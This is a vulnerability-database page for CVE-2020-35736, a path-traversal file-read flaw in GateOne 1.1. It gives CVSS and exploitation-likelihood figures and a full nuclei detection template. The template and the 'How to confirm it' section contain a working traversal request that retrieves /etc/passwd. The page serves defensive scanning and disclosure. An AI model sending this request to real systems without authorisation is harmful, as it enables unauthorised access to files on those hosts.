HexBrain

Browse / CVEs / CVE-2020-35736

CVE-2020-35736· liftoffsoftware / gateone· CWE-22

GateOne 1.1 - Local File Inclusion

highseverity
7.5CVSS score
15.4%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. local file inclusion because os.path.join is incorrectly used.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate the LFI vulnerability in GateOne 1.1.

How to confirm it

Send: GET {{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-35736 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-35736

info:
  name: GateOne 1.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. local file inclusion because os.path.join is incorrectly used.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate the LFI vulnerability in GateOne 1.1.
  reference:
    - https://github.com/liftoff/GateOne/issues/747
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
    - https://rmb122.com/2019/08/28/Ogeek-Easy-Realworld-Challenge-1-2-Writeup/
    - https://github.com/20142995/Goby
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35736
    cwe-id: CWE-22
    epss-score: 0.15402
    epss-percentile: 0.96813
    cpe: cpe:2.3:a:liftoffsoftware:gateone:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: liftoffsoftware
    product: gateone
  tags: cve,cve2020,gateone,lfi,liftoffsoftware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from